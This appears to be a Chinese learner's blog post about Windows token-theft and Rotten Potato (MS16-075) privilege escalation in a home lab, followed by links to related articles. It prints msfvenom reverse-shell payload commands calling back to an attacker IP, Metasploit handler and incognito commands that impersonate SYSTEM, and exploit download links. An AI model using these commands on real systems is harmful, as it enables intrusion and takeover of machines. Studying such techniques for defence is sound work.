Windows令牌窃取提权和烂土豆提权学习

令牌,又叫token,是系统临时产生的秘钥,相当于账号密码,用来决定是否允许此次请求和判断此次请求是属于哪一个用户。
令牌无需提供密码或其他凭证,就可以访问网络和系统资源,这些令牌持续于系统中,除非系统重新启动。
令牌的最大特点就是随机性,不可预测,无法猜解。

当不同的用户登录计算机后,都会生成一个访问令牌,这个Token 在用户创建进程或线程时还会被使用,并不断进行拷贝,一般用户双击运行⼀个进程都会拷贝 explorer.exe 中 的 Access Token

令牌的分类

访问令牌(Access Token):表示访问控制操作主体的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾

Windows 的 AccessToken 有两种类型:

Delegation Token:授权令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
Impresonation Token:模拟令牌,支持非交互的会话 (例如使用 net use访问共享文件夹)。

两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成Impersonation token,依旧有效。

首先通过msf获取meterpreter会话,可能是普通用户权限。

通过生成木马文件获取上线msf

常用的 msfvenom生成shell的命令(IP和端口都可自行更改):
Linux:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f elf > shell.elf

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > shell.exe

Bash:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.1 LPORT=4444 -f raw > shell.sh

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=4444 On> -f raw > shell.php

——
我这里通过kali 生成,IP为这台kali的IP,生成完成后可在文件夹中可以找到。并把这个生成的后门文件放在目标win7内。

然后使用监听模块:

use exploit/multi/handler

设置payload,就是刚刚msfvenom生成shell中有的payload:windows/meterpreter/reverse_tcp

set payload windows/meterpreter/reverse_tcp

show options查看设置选项,可以看到端口已经默认为4444

然后设置本地kali的IP为,即生成的shell中的IP。

set lhost=192.168.43.125

run执行监听,并在此时win7上双击生成的那个后门文件shell.exe运行。
就成功弹出meterpreter会话。并且此时的权限为用户权限。

——
——

尝试令牌窃取

进入 令牌伪造工具incognito模块

use incognito

查看到所有的用户令牌:

list_tokens -u

可以看到前面list_tokens -u列出了Delegation Token和Impresonation Token两种令牌

如果是有其它令牌的话,使用该命令进行模拟:
impersonate_token ‘其它权限令牌’
如:impersonate_token 'NT AUTHORITY\SYSTEM'

结果我这里没有可用令牌,我换了其它几个低版本操作系统winxp和sever2008也是一样只有一个现有的用户权限令牌。又猜测是不是其它用户没有登录未产生令牌,然后我登录过其它用户再尝试后还是没有其它权限令牌。

后来发现是我因为在win7的主机上点击的,相当于只是得到了目标机器的用户权限。
而这里是需要web权限(我也不知道为什么这里似乎展示的web权限比用户权限更高)
所以我这里就把后门文件传到web根目录下,并利用蚁剑的虚拟终端进行执行。
msf得到meterpreter会话,和上面的步骤是一样的,只是shell.exe执行的位置不一样。

然后我再进行操作,和前面一样。
和前面的操作比,Delegation Token和Impresonation Token两种可用令牌都变多了,其中包含system权限的令牌。

use incognito
list_tokens -u
impersonate_token 'NT AUTHORITY\SYSTEM'

后面看了一些令牌窃取的文章,说list_tokens查找出来的令牌数量取决于meterpreter shell的访问级别,我们列举令牌,只能列举出当前用户和比当前用户权限更低的用户令牌。

说到令牌窃取的一个降权使用场景,在通过内核漏洞等方式获取到system权限时, 假如我们利用 mimikatz 和 hashdump不能获得 administrator用户的密码,那我们只能通过令牌窃取进行降权,获得administrator用户的shell, 从而以administrator用户的身份启动某些服务(因为某些服务只能通过administrator用户启动)。

这些文章讲述的是单靠令牌窃取是无法提权的,而可以结合**“烂土豆 (Rotten Potato)”**进行提权。
但其在演示令牌窃取结合烂土豆提权的时候,也是需要在webshell的权限基础上,那这就和我前面的演示相同了,似乎就不太需要烂土豆提权。

对于这些问题还是需要有更多的研究与学习,现在的情况似乎存在一些矛盾。

——
——

烂土豆提权结合令牌窃取

提到了烂土豆提权的话,也对其进行学习了解一下。

烂土豆(Rotten Potato) MS16-075提权是一个本地提权,只针对本地用户,不支持域用户

原理:

通过欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端;接着对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的;只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌
(一般大多数的服务型账户,例如:IIS、MSSQL…具有该权限,大多数用户级别的账户没有该权限)

RottonPatato 脚 本可以百度下载,这里列两个:
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

https://github.com/foxglovesec/RottenPotato

前面已经提到,烂土豆提权需要具有“模仿安全令牌权限”。我们要先进行查看是否有这个权限

查看是否具有Selmpersonate权限

getprivs##或者服务器的cmd下键入以下命令
whoami /all
whoami /priv

在刚刚的webshell的权限下,可以看到是有这个权限的。

然后执行下载到的potato.exe文件:

execute -cH -f potato.exe

…………这个列出的令牌似乎和前面的令牌窃取的情况是一样的。所以也不知道这个烂土豆提权具体什么情况。

再回到前面那个令牌窃取无法提权的情况,即在win7的主机上点击shell,得到的是用户权限。
也没有Selmpersonate权限,无法进行令牌窃取提权,执行烂土豆potato.exe文件,也无法进行提权。

——————————————————————————————————-
——————————————————————————————————
——————

其它

一开始还遇到win7无法执行 potato.exe 的文件,显示需要安装.NET Framework
那就直接去百度下载.NET Framework吧,安装之后就可以了。
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=17718

Windows令牌窃取提权和烂土豆提权学习相关推荐

  1. 权限提升 T1134 Windows 令牌窃取及防御

    ​这篇文章将会对Windows 令牌窃取及防御技术进行介绍,所使用的环境是上一篇文章中搭建的环境:搭建一个简单的Windows域环境 1. 什么是访问令牌 Windows 访问令牌(Access To ...

  2. 烂土豆提权(MS16-075)--令牌窃取提权

    漏洞介绍 当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞.成功利用此漏洞的攻击者可以使用提升的特权执行任意代码. 若要 ...

  3. Windows 令牌窃取

    简介 Window 令牌是windows访问控制模型中的重要组成部分,主要用来对线程操作安全对象时对身份权限进行识别,获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源.这些令牌将持续 ...

  4. 一文了解提权:溢出提权和第三方组件提权

    前言 对提权做个归纳 提权一般分为两种: 溢出提权 第三方组件提权 一.溢出提权 溢出提权就是利用系统漏洞进行提权 远程溢出:攻击者只要与服务器连接,然后根据漏洞使用响应的exp即可,如著名的MS-0 ...

  5. 提权学习:第三方软件提权(巴西烤肉提权和启动项提权)

    当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 巴西烤肉提权 启动项提权 0x01 启动项提权 0x02 启动项提权,拓展知识 [写入启动项提权/启动项里提权] 巴西烤肉提权 首先,基本 ...

  6. Windows权限提升—令牌窃取、UAC提权、进程注入等提权

    Windows权限提升-令牌窃取.UNC提权.进程注入等提权 1. 前言 2. at本地命令提权 2.1. 适用范围 2.2. 命令使用 2.3. 操作步骤 2.3.1. 模拟提权 2.3.2. at ...

  7. Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权

    目录 权限分类 针对环境 webshell权限 本地用户权限 提权方法 1.windows内核溢出漏洞(如何判断类型和利用) 2.数据库提权 Mysql Mssql oracle redis post ...

  8. windows提权—烂土豆(RottenPotato)及Juicy Potato提权

    介绍 烂土豆(Rotten Potato) MS16-075 提权是一个本地提权,只针对本地用户,不支持域用户 适用版本:Windows 7.8.10.2008.2012 烂土豆下载地址: https ...

  9. 提权-win烂土豆dll劫持引号路径服务权限

    以下几种提权方法的适合环境(web用户/本机用户)因方法而不同,有的方法在两种权限下都适用,一般也都是本机权限大于webshell权限. win 烂土豆提权(MS16-075): 烂土豆(Rotten ...

  10. 烂土豆Juicypotato提权原理和利用

    0x00 Potato(烂土豆)提权的原理: 所谓的烂土豆提权就是俗称的MS16-075 可以将Windows工作站上的特权从最低级别提升到" NT AUTHORITY \ SYSTEM&q ...

最新文章

  1. 关于 linux io_uring 性能测试 及其 实现原理的一些探索
  2. python基本语法规则-Python-基本语法元素
  3. linux 软raid创建过程
  4. 64位ubuntu 12.04系统编译busybox遇到的问题处理办法
  5. 深度学习String、StringBuffer、StringBuilder
  6. Effective C++学习第九天
  7. java手机象棋软件下载,Java手机网络版象棋游戏附源码JAVA游戏源码下载
  8. 计算机二级vb常考知识点,计算机二级VB考试重点考点
  9. QQ连连看棋盘数组找法:
  10. pythonisnan_python - 在NumPy中快速检查NaN
  11. 12linux目录结构13Linux目录详解
  12. 人工智能感知技术是机器人应用支撑技术之一
  13. c# 执行程序 未捕获的异常 处理;软件闪退 处理方式 工程启动不报错,执行程序报错
  14. ImageAI (四) 使用Python快速简单实现自定义预测模型的训练 Custom Model Training
  15. 精辟!一文看懂layout与PCB的关系
  16. 可以玩所有游戏的计算机配置,什么样的电脑配置才可以玩各种3A巨作游戏?
  17. 存储、冯诺伊曼和哈佛结构之间的关系
  18. 为何iPad 2充电快 但用不了多久?
  19. knex简单的增删改查
  20. flutter自定义广告Banner

热门文章

  1. Java语言程序设计(第3版)沈泽刚主编第6,7,8章课后习题答案
  2. C语言必背18个经典程序(含免费源码大全)
  3. 如何学好C语言程序设计?
  4. 最新版Java零基础入门阶段学习教程汇总(无比全面,我收藏了!!!)
  5. ubuntu 常用命令锦集
  6. [转载]Mapx常见问题
  7. matlab 2017安装教程
  8. linux wifi驱动rtl8188移植
  9. (附源码)基于Android的订餐app 毕业设计 190711
  10. fiddler4请求拒绝原因